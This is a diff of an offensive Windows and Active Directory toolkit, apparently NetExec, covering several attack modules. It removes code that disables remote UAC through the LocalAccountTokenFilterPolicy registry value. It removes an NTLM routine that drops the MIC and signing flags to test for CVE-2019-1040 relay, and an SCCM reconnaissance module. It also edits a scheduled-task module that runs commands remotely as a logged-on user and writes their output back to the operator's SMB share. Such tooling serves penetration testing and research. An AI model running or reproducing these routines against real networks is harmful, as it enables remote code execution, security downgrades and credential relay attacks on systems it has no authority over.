-        if "ACTION" not in module_options:
-            context.log.fail("ACTION option not specified!")
-            return
-
-        if module_options["ACTION"].lower() not in ["enable", "disable"]:
-            context.log.fail("ACTION must be either enable, disable or query")
-            return
-        self.action = module_options["ACTION"].lower()
-
-    def on_admin_login(self, context, connection):
-        try:
-            remoteOps = RemoteOperations(connection.conn, False)
-            remoteOps.enableRegistry()
-            if remoteOps._RemoteOperations__rrp:
-                ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
-                regHandle = ans["phKey"]
-
-                keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"]
-
-                # Checks if the key already exists or not
-                try:
-                    rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
-                except Exception as e:
-                    if "ERROR_FILE_NOT_FOUND" in str(e):
-                        context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it")
-                        ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
-
-                # Disable remote UAC
-                if self.action == "disable":
-                    rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1)
-                    context.log.highlight("Remote UAC disabled")
-
-                # Enable remote UAC
-                if self.action == "enable":
-                    rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0)
-                    context.log.highlight("Remote UAC enabled")
-
-        except Exception as e:
-            context.log.debug(f"Error {e}")
-        finally:
-            remoteOps.finish()

nxc/modules/remove-mic.py

@@ -1,192 +0,0 @@
-# Original Author:
-#  Dirk-jan Mollema (@_dirkjan)
-#  dlive (@D1iv3)
-#
-# Refernece:
-#  - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
-#  - https://github.com/fox-it/cve-2019-1040-scanner
-#  - https://github.com/Dliv3/cve-2019-1040-scanner
-#
-# Modify by:
-#  XiaoliChan (@Memory_before)
-
-import calendar
-import struct
-import time
-import random
-import string
-
-from impacket import ntlm
-from impacket import nt_errors
-from impacket.smbconnection import SessionError
-
-
-class NXCModule:
-    name = "remove-mic"
-    description = "Check if host vulnerable to CVE-2019-1040"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = False
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-        self.action = None
-
-    def options(self, context, module_options):
-        """PORT    Port to check (defaults to 445)"""
-        self.port = 445
-        if "PORT" in module_options:
-            self.port = int(module_options["PORT"])
-
-    def on_login(self, context, connection):
-        ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2
-        ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3
-        try:
-            connection.conn.reconnect()
-        except SessionError as e:
-            if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER:
-                context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)")
-            else:
-                context.log.info("Unexpected Exception while authentication")
-        else:
-            context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/")
-
-class Modify_Func:
-    # Slightly modified version of impackets computeResponseNTLMv2
-    def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="",
-                    use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
-
-        responseServerVersion = b"\x01"
-        hiResponseServerVersion = b"\x01"
-        responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash)
-
-        av_pairs = ntlm.AV_PAIRS(serverName)
-        # In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will
-        # get access denied
-        # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation
-        # level
-        av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1]
-        if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None:
-            aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1]
-        else:
-            aTime = struct.pack("<q", (116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))
-            av_pairs[ntlm.NTLMSSP_AV_TIME] = aTime
-        av_pairs[ntlm.NTLMSSP_AV_FLAGS] = b"\x02" + b"\x00" * 3
-        serverName = av_pairs.getData()
-
-        if len(channel_binding_value) > 0:
-            av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value
-
-        # Format according to:
-        # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b
-        temp = responseServerVersion  # RespType 1 byte
-        temp += hiResponseServerVersion  # HiRespType 1 byte
-        temp += b"\x00" * 2  # Reserved1 2 bytes
-        temp += b"\x00" * 4  # Reserved2 4 bytes
-        temp += aTime  # TimeStamp 8 bytes
-        temp += clientChallenge  # ChallengeFromClient 8 bytes
-        temp += b"\x00" * 4  # Reserved 4 bytes
-        temp += av_pairs.getData()  # AvPairs variable
-
-        ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp)
-
-        ntChallengeResponse = ntProofStr + temp
-        lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge
-        sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr)
-
-        if user == "" and password == "":
-            # Special case for anonymous authentication
-            ntChallengeResponse = ""
-            lmChallengeResponse = ""
-
-        return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
-    
-    def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
-        # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
-        if password is None:
-            password = ""
-
-        # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
-        # international characters.
-        import sys
-        encoding = sys.getfilesystemencoding()
-        if encoding is not None:
-            try:
-                user.encode("utf-16le")
-            except Exception:
-                user = user.decode(encoding)
-            try:
-                password.encode("utf-16le")
-            except Exception:
-                password = password.decode(encoding)
-            try:
-                domain.encode("utf-16le")
-            except Exception:
-                domain = user.decode(encoding)
-
-        ntlmChallenge = ntlm.NTLMAuthChallenge(type2)
-
-        # Let's start with the original flags sent in the type1 message
-        responseFlags = type1["flags"]
-
-        # Token received and parsed. Depending on the authentication 
-        # method we will create a valid ChallengeResponse
-        ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"])
-
-        clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)]))
-
-        serverName = ntlmChallenge["TargetInfoFields"]
-
-        ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"],
-                                                                clientChallenge, serverName, domain, user, password,
-                                                                lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value)
-
-        # Let's check the return flags
-        if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
-            # No extended session security, taking it out
-            responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
-        if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0:
-            # No support for 128 key len, taking it out
-            responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128
-        if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
-            # No key exchange supported, taking it out
-            responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
-
-        # drop the mic need to unset these flags
-        # https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72
-        if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL:
-            responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL
-        if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN:
-            responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
-        if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
-            responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN
-
-
-        keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password,
-                            lmhash, nthash, use_ntlmv2)
-
-        # Special case for anonymous login
-        if user == "" and password == "" and lmhash == "" and nthash == "":
-            keyExchangeKey = b"\x00" * 16
-
-
-        if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
-            exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)]))
-            encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
-        else:
-            encryptedRandomSessionKey = None
-            exportedSessionKey = keyExchangeKey
-
-        ntlmChallengeResponse["flags"] = responseFlags
-        ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le")
-        ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le")
-        if lmResponse == "":
-            ntlmChallengeResponse["lanman"] = b"\x00"
-        else:
-            ntlmChallengeResponse["lanman"] = lmResponse
-        ntlmChallengeResponse["ntlm"] = ntResponse
-        if encryptedRandomSessionKey is not None: 
-            ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey
-
-        return ntlmChallengeResponse, exportedSessionKey

nxc/modules/runasppl.py

@@ -1,10 +1,5 @@
-from impacket.dcerpc.v5 import rrp
-from impacket.examples.secretsdump import RemoteOperations
-from impacket.dcerpc.v5.rrp import DCERPCSessionError
-
 
 class NXCModule:
-    # Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation
     name = "runasppl"
     description = "Check if the registry value RunAsPPL is set or not"
     supported_protocols = ["smb"]
@@ -19,35 +14,10 @@ class NXCModule:
         """"""
 
     def on_admin_login(self, context, connection):
-        try:
-            remote_ops = RemoteOperations(connection.conn, False)
-            remote_ops.enableRegistry()
-
-            if remote_ops._RemoteOperations__rrp:
-                ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-                reg_handle = ans["phKey"]
-                ans = rrp.hBaseRegOpenKey(
-                    remote_ops._RemoteOperations__rrp,
-                    reg_handle,
-                    "SYSTEM\\CurrentControlSet\\Control\\Lsa"
-                )
-                key_handle = ans["phkResult"]
-                _ = data = None
-                try:
-                    _, data = rrp.hBaseRegQueryValue(
-                        remote_ops._RemoteOperations__rrp,
-                        key_handle,
-                        "RunAsPPL\x00",
-                    )
-                except rrp.DCERPCSessionError as e:
-                    context.log.debug(f"RunAsPPL error {e} on host {connection.host}")
-
-                if data is None or data not in [1, 2]:
-                    context.log.highlight("RunAsPPL disabled")
-                else:
-                    context.log.highlight("RunAsPPL enabled")
-                
-        except DCERPCSessionError as e:
-            context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}")
-        finally:
-            remote_ops.finish()
+        command = "reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
+        context.log.display("Executing command")
+        p = connection.execute(command, True)
+        if "The system was unable to find the specified registry key or value" in p:
+            context.log.debug("Unable to find RunAsPPL Registry Key")
+        else:
+            context.log.highlight(p)

nxc/modules/scan-network.py

@@ -121,7 +121,7 @@ class NXCModule:
         sfilter = "(DC=*)"
 
         try:
-            list_sites = connection.ldap_connection.search(
+            list_sites = connection.ldapConnection.search(
                 searchBase=search_target,
                 searchFilter=sfilter,
                 attributes=["dnsRecord", "dNSTombstoned", "name"],

nxc/modules/sccm.py

@@ -1,288 +0,0 @@
-from impacket.ldap import ldap, ldaptypes, ldapasn1 as ldapasn1_impacket
-from impacket.ldap.ldap import LDAPSearchError
-from ldap3.protocol.microsoft import security_descriptor_control
-from nxc.parsers.ldap_results import parse_result_attributes
-
-SAM_USER_OBJECT = 0x30000000
-SAM_MACHINE_ACCOUNT = 0x30000001
-SAM_GROUP_OBJECT = 0x10000000
-LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
-
-
-class NXCModule:
-    """
-    Implementation of the SCCM RECON-1 technique to find SCCM related objects in Active Directory.
-    See:
-    https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
-    https://github.com/garrettfoster13/sccmhunter
-
-    Module by @NeffIsBack
-    """
-
-    name = "sccm"
-    description = "Find a SCCM infrastructure in the Active Directory"
-    supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self):
-        self.sccm_site_servers = []     # List of dns host names of the SCCM site servers
-        self.sccm_sites = {}            # List of SCCM sites with their management points (Sorted by site code)
-        self.base_dn = ""
-        self.recursive_resolve = False
-
-        self.user_objects = []
-        self.computer_objects = []
-        self.group_objects = {}
-
-    def options(self, context, module_options):
-        """
-        BASE_DN            The base domain name for the LDAP query
-        REC_RESOLVE        Resolve members of groups recursively. Default: False
-        """
-        if module_options and "BASE_DN" in module_options:
-            self.base_dn = module_options["BASE_DN"]
-        if module_options and "REC_RESOLVE" in module_options:
-            self.recursive_resolve = bool(module_options["REC_RESOLVE"])
-
-    def on_login(self, context, connection):
-        """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
-        self.context = context
-        self.connection = connection
-        self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn
-        self.sc = ldap.SimplePagedResultsControl()
-
-        # Basic SCCM enumeration
-        try:
-            # Search for SCCM root object
-            search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
-            controls = security_descriptor_control(sdflags=0x04)
-            context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
-            result = connection.ldap_connection.search(
-                searchFilter=search_filter,
-                attributes=["nTSecurityDescriptor"],
-                sizeLimit=0,
-                searchControls=controls,
-                searchBase=self.base_dn,
-            )
-
-            # There should be only one result
-            for item in result:
-                if isinstance(item, ldapasn1_impacket.SearchResultEntry):
-                    self.context.log.success(f"Found SCCM object: {item[0]}")
-                    self.get_site_servers(item)
-                    self.get_sites()
-                    self.get_management_points()
-
-                    # Print results
-                    self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:")
-                    for site in self.sccm_site_servers:
-                        ip = self.connection.resolver(site)
-                        self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}")
-                    self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:")
-                    for site in self.sccm_sites:
-                        self.context.log.highlight(f"{self.sccm_sites[site]['cn']}")
-                        self.context.log.highlight(f"  Site Code: {site.rjust(14)}")
-                        self.context.log.highlight(f"  Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}")
-
-                        # If there aren't Management Points, it's a Central Administration Site
-                        if self.sccm_sites[site]["ManagementPoints"]:
-                            self.context.log.highlight(f"  CAS: {' ':<17}{False}")
-                            self.context.log.highlight("  Management Points:")
-                            for mp in self.sccm_sites[site]["ManagementPoints"]:
-                                self.context.log.highlight(f"    CN:{' ':<12}{mp['cn']}")
-                                self.context.log.highlight(f"    DNS Hostname:{' ':<2}{mp['dNSHostName']}")
-                                self.context.log.highlight(f"    IP Address:{' ':<4}{mp['IPAddress']}")
-                                self.context.log.highlight(f"    Default MP:{' ':<4}{mp['mSSMSDefaultMP']}")
-                        else:
-                            self.context.log.highlight(f"  CAS: {' ':<17}{True}")
-                    self.context.log.highlight("")
-        except LDAPSearchError as e:
-            context.log.fail(f"Got unexpected exception: {e}")
-
-        # SCCM named objects enumeration
-        self.get_sccm_named_objects(context, connection)
-        if self.user_objects:
-            context.log.success(f"Found {len(self.user_objects)} SCCM related user objects:")
-            for user in self.user_objects:
-                context.log.highlight(user)
-        if self.computer_objects:
-            context.log.success(f"Found {len(self.computer_objects)} SCCM related computer objects:")
-            for computer in self.computer_objects:
-                context.log.highlight(computer)
-        if self.group_objects:
-            context.log.success(f"Found {len(self.group_objects)} SCCM related group objects:")
-            for group in self.group_objects:
-                context.log.highlight(self.group_objects[group]["sAMAccountName"])
-                for child in self.group_objects[group]["children"]:
-                    if int(child["sAMAccountType"]) == SAM_USER_OBJECT:
-                        context.log.highlight(f"  {child['sAMAccountName']} -> User")
-                    elif int(child["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
-                        context.log.highlight(f"  {child['sAMAccountName']} -> Computer")
-                    elif int(child["sAMAccountType"]) == SAM_GROUP_OBJECT:
-                        context.log.highlight(f"  {child['sAMAccountName']} -> Group")
-
-    def get_sccm_named_objects(self, context, connection):
-        """Enumerate users/groups/computers with "SCCM" in their name"""
-        # hippity hoppity your code is now my property, filter stolen from the awesome sccmhunter repository
-        # https://github.com/garrettfoster13/sccmhunter
-        try:
-            yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
-            context.log.display("Searching for SCCM related objects")
-            result = connection.ldap_connection.search(
-                searchFilter=yoinkers,
-                searchBase=self.base_dn,
-                attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
-            )
-
-            result = parse_result_attributes(result)
-            for res in result:
-                if "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_USER_OBJECT:
-                    self.user_objects.append(res["sAMAccountName"])
-                elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
-                    self.computer_objects.append(res["sAMAccountName"])
-                elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_GROUP_OBJECT:
-                    self.group_objects[res["distinguishedName"]] = {
-                        "sAMAccountName": res["sAMAccountName"],
-                        "children": [],
-                    }
-                    if self.recursive_resolve:
-                        self.resolve_recursive(res["distinguishedName"])
-
-        except LDAPSearchError as e:
-            context.log.fail(f"Got unexpected exception: {e}")
-
-    def resolve_recursive(self, dn):
-        """Recursively resolve members of a group."""
-        try:
-            self.context.log.debug(f"Resolving group members recursively for {dn}")
-            # Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
-            result = self.connection.ldap_connection.search(
-                searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
-                attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
-            )
-
-            result = parse_result_attributes(result)
-            for res in result:
-                self.group_objects[dn]["children"].append({
-                    "sAMAccountName": res["sAMAccountName"],
-                    "distinguishedName": res["distinguishedName"],
-                    "sAMAccountType": res["sAMAccountType"],
-                })
-
-        except LDAPSearchError as e:
-            self.context.log.error(f"Error resolving group members: {e}")
-
-    def get_management_points(self):
-        """Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
-        try:
-            response = self.connection.ldap_connection.search(
-                searchBase=self.base_dn,
-                searchFilter="(objectClass=mSSMSManagementPoint)",
-                attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
-            )
-
-            response_parsed = parse_result_attributes(response)
-
-            for mp in response_parsed:
-                ip = self.connection.resolver(mp["dNSHostName"])
-                self.sccm_sites[mp["mSSMSSiteCode"]]["ManagementPoints"].append({
-                    "cn": mp["cn"],
-                    "dNSHostName": mp["dNSHostName"],
-                    "IPAddress": ip["host"] if ip else "-",
-                    "mSSMSDefaultMP": mp["mSSMSDefaultMP"],
-                })
-
-        except LDAPSearchError as e:
-            self.context.log.error(f"Error searching for management points: {e}")
-
-    def get_sites(self):
-        """Searches for all SCCM sites in the Active Directory, sorted by site code."""
-        try:
-            response = self.connection.ldap_connection.search(
-                searchBase=self.base_dn,
-                searchFilter="(objectClass=mSSMSSite)",
-                attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
-            )
-
-            response_parsed = parse_result_attributes(response)
-
-            for site in response_parsed:
-                self.sccm_sites[site["mSSMSSiteCode"]] = {
-                    "cn": site["cn"],
-                    "AssignmentSiteCode": site["mSSMSAssignmentSiteCode"],
-                    "ManagementPoints": []
-                }
-
-        except LDAPSearchError as e:
-            self.context.log.error(f"Error searching for sites: {e}")
-
-    def get_site_servers(self, item):
-        """Extracts the site servers from the root SCCM object."""
-        raw_sec_descriptor = str(item[1][0][1][0]).encode("latin-1")
-        principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=raw_sec_descriptor)
-        self.parse_dacl(principal_security_descriptor["Dacl"])
-        self.sccm_site_servers = set(self.sccm_site_servers)    # Make list unique
-
-    def parse_dacl(self, dacl):
-        """Parses a DACL and extracts the dns host names with full control over the SCCM object."""
-        self.context.log.debug("Parsing DACL")
-        for ace in dacl["Data"]:
-            self.parse_ace(ace)
-
-    def parse_ace(self, ace):
-        """Parses an ACE and resolves the SID if the SID of the ACE has full control."""
-        if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE"]:
-            ace = ace["Ace"]
-            sid = ace["Sid"].formatCanonical()
-            mask = ace["Mask"]
-            fullcontrol = 0xf01ff
-            if mask.hasPriv(fullcontrol):
-                self.resolve_SID(sid)
-
-    def resolve_SID(self, sid):
-        """Tries to resolve a SID and add the dNSHostName to the sccm site list."""
-        try:
-            self.context.log.debug(f"Resolving SID: {sid}")
-            result = self.connection.ldap_connection.search(
-                searchBase=self.base_dn,
-                searchFilter=f"(objectSid={sid})",
-                attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
-            )
-
-            parsed_result = parse_result_attributes(result)
-
-            if not parsed_result:
-                return None
-            else:
-                parsed_result = parsed_result[0]    # We only have one result as we always query a single SID
-
-            if int(parsed_result["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
-                self.context.log.debug(f"Found object with full control over SCCM object. SID: {sid}, dns_hostname: {parsed_result['dNSHostName']}")
-                self.sccm_site_servers.append(parsed_result["dNSHostName"])
-            elif int(parsed_result["sAMAccountType"]) == SAM_GROUP_OBJECT:
-                if isinstance(parsed_result["member"], list):
-                    for member in parsed_result["member"]:
-                        member_sid = self.dn_to_sid(member)
-                        if member_sid:
-                            self.resolve_SID(member_sid)
-                else:   # Group has only one member
-                    member_sid = self.dn_to_sid(parsed_result["member"])
-                    if member_sid:
-                        self.resolve_SID(member_sid)
-
-        except Exception as e:
-            self.context.log.debug(f"SID not found in LDAP: {sid}, {e}")
-            return ""
-
-    def dn_to_sid(self, dn) -> str:
-        """Tries to resolve a DN to a SID."""
-        result = self.connection.ldap_connection.search(
-            searchBase=self.base_dn,
-            searchFilter=f"(distinguishedName={dn})",
-            attributes=["sAMAccountName", "objectSid"],
-        )
-
-        # Extract the SID of the object
-        sid_raw = bytes(result[0][1][0][1].components[0])
-        return ldaptypes.LDAP_SID(data=sid_raw).formatCanonical()

nxc/modules/schtask_as.py

@@ -1,11 +1,9 @@
-import contextlib
 import os
 from time import sleep
-from datetime import datetime, timedelta
+from datetime import datetime
 from impacket.dcerpc.v5.dtypes import NULL
 from impacket.dcerpc.v5 import tsch, transport
 from nxc.helpers.misc import gen_random_string
-from nxc.paths import TMP_PATH
 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
 
 
@@ -16,29 +14,17 @@ class NXCModule:
     """
 
     def options(self, context, module_options):
-        r"""
+        """
         CMD            Command to execute
         USER           User to execute command as
-        TASK           OPTIONAL: Set a name for the scheduled task name
-        FILE           OPTIONAL: Set a name for the command output file
-        LOCATION       OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
         """
-        self.cmd = self.user = self.task = self.file = self.location = self.time = None
+        self.cmd = self.user = self.time = None
         if "CMD" in module_options:
             self.cmd = module_options["CMD"]
 
         if "USER" in module_options:
             self.user = module_options["USER"]
 
-        if "TASK" in module_options:
-            self.task = module_options["TASK"]
-
-        if "FILE" in module_options:
-            self.file = module_options["FILE"]
-
-        if "LOCATION" in module_options:
-            self.location = module_options["LOCATION"]
-
     name = "schtask_as"
     description = "Remotely execute a scheduled task as a logged on user"
     supported_protocols = ["smb"]
@@ -64,12 +50,8 @@ class NXCModule:
                 connection.domain,
                 self.user,
                 self.cmd,
-                self.file,
-                self.task,
-                self.location,
                 connection.kerberos,
                 connection.aesKey,
-                connection.host,
                 connection.kdcHost,
                 connection.hash,
                 self.logger,
@@ -92,14 +74,10 @@ class NXCModule:
         except Exception as e:
             if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
                 self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
-                with contextlib.suppress(Exception):
-                    exec_method.deleteartifact()
-            else:
-                self.logger.fail(f"Failed to execute command: {e}")
 
 
 class TSCH_EXEC:
-    def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
+    def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
         self.__target = target
         self.__username = username
         self.__password = password
@@ -111,7 +89,6 @@ class TSCH_EXEC:
         self.__retOutput = False
         self.__aesKey = aesKey
         self.__doKerberos = doKerberos
-        self.__remoteHost = remoteHost
         self.__kdcHost = kdcHost
         self.__tries = tries
         self.__output_filename = None
@@ -119,9 +96,6 @@ class TSCH_EXEC:
         self.logger = logger
         self.cmd = cmd
         self.user = user
-        self.file = file
-        self.task = task
-        self.location = location
 
         if hashes is not None:
             if hashes.find(":") != -1:
@@ -134,7 +108,6 @@ class TSCH_EXEC:
 
         stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
         self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
-        self.__rpctransport.setRemoteHost(self.__remoteHost)
 
         if hasattr(self.__rpctransport, "set_credentials"):
             # This method exists only for selected protocol sequences.
@@ -148,18 +121,6 @@ class TSCH_EXEC:
             )
             self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
 
-    def deleteartifact(self):
-        dce = self.__rpctransport.get_dce_rpc()
-        if self.__doKerberos:
-            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-        dce.set_credentials(*self.__rpctransport.get_credentials())
-        dce.connect()
-        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
-        dce.bind(tsch.MSRPC_UUID_TSCHS)
-        self.logger.display(f"Deleting task \\{self.task}")
-        tsch.hSchRpcDelete(dce, f"\\{self.task}")
-        dce.disconnect()
-
     def execute(self, command, output=False):
         self.__retOutput = output
         self.execute_handler(command)
@@ -168,20 +129,24 @@ class TSCH_EXEC:
     def output_callback(self, data):
         self.__outputBuffer = data
 
-    def get_end_boundary(self):
-        # Get current date and time + 5 minutes
-        end_boundary = datetime.now() + timedelta(minutes=5)
+    def get_current_date(self):
+        # Get current date and time
+        now = datetime.now()
 
         # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
-        return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
+        return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
 
     def gen_xml(self, command, fileless=False):
         xml = f"""<?xml version="1.0" encoding="UTF-16"?>
 <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
   <Triggers>
-    <RegistrationTrigger>
-      <EndBoundary>{self.get_end_boundary()}</EndBoundary>
-    </RegistrationTrigger>
+    <CalendarTrigger>
+      <StartBoundary>{self.get_current_date()}</StartBoundary>
+      <Enabled>true</Enabled>
+      <ScheduleByDay>
+        <DaysInterval>1</DaysInterval>
+      </ScheduleByDay>
+    </CalendarTrigger>
   </Triggers>
   <Principals>
     <Principal id="LocalSystem">
@@ -212,11 +177,7 @@ class TSCH_EXEC:
       <Command>cmd.exe</Command>
 """
         if self.__retOutput:
-            fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
-            if self.file is None:
-                self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
-            else:
-                self.__output_filename = os.path.join(fileLocation, self.file)
+            self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
             if fileless:
                 local_ip = self.__rpctransport.get_socket().getsockname()[0]
                 argument_xml = f"      <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
@@ -237,64 +198,61 @@ class TSCH_EXEC:
 
     def execute_handler(self, command, fileless=False):
         dce = self.__rpctransport.get_dce_rpc()
-
         if self.__doKerberos:
             dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
 
         dce.set_credentials(*self.__rpctransport.get_credentials())
         dce.connect()
-        # Give self.task a random string as name if not already specified
-        self.task = gen_random_string(8) if self.task is None else self.task
+
+        tmpName = gen_random_string(8)
+
         xml = self.gen_xml(command, fileless)
 
         self.logger.info(f"Task XML: {xml}")
-        self.logger.info(f"Creating task \\{self.task}")
+        taskCreated = False
+        self.logger.info(f"Creating task \\{tmpName}")
         try:
             # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
